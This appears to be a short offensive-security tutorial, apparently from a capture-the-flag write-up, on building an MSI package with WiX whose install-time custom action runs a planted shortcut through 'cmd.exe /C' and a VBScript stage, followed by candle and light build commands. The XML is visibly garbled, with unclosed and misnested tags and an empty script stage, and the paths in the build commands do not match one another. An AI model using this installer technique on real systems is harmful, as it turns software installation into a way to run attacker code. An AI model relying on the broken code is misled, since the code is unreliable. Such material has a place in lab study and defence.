Create MSI with WIX

Tutorial copied from In order to create the msi we will use wixtools , you can use other msi builders but they didn’t work for me. Check this page for some wix msi usage examples. We will create an msi that executes our lnk file :

<?xml version="1.0"?>
<Wix xmlns="">
<Product Id="*" UpgradeCode="12345678-1234-1234-1234-111111111111" Name="Example Product Name"
Version="0.0.1" Manufacturer="@_xpn_" Language="1033">
<Package InstallerVersion="200" Compressed="yes" Comments="Windows Installer Package"/>
<Media Id="1" Cabinet="" EmbedCab="yes"/>
<Directory Id="TARGETDIR" Name="SourceDir">
<Directory Id="ProgramFilesFolder">
<Directory Id="INSTALLLOCATION" Name="Example">
<Component Id="ApplicationFiles" Guid="12345678-1234-1234-1234-222222222222">
<Feature Id="DefaultFeature" Level="1">
<ComponentRef Id="ApplicationFiles"/>
<Property Id="cmdline">cmd.exe /C "c:\users\public\desktop\shortcuts\rick.lnk"</Property>
<CustomAction Id="Stage1" Execute="deferred" Directory="TARGETDIR" ExeCommand='[cmdline]' Return="ignore"
<CustomAction Id="Stage2" Execute="deferred" Script="vbscript" Return="check">
<Custom Action="Stage1" After="InstallInitialize"></Custom>
<Custom Action="Stage2" Before="InstallFiles"></Custom>

We will use candle.exe from wixtools to create a wixobject from msi.xml

candle.exe -out C:\tem\wix C:\tmp\Ethereal\msi.xml

Then we will use light.exe to create the msi file from the wixobject:

light.exe -out C:\tm\Ethereal\rick.msi C:\tmp\wix

Last updated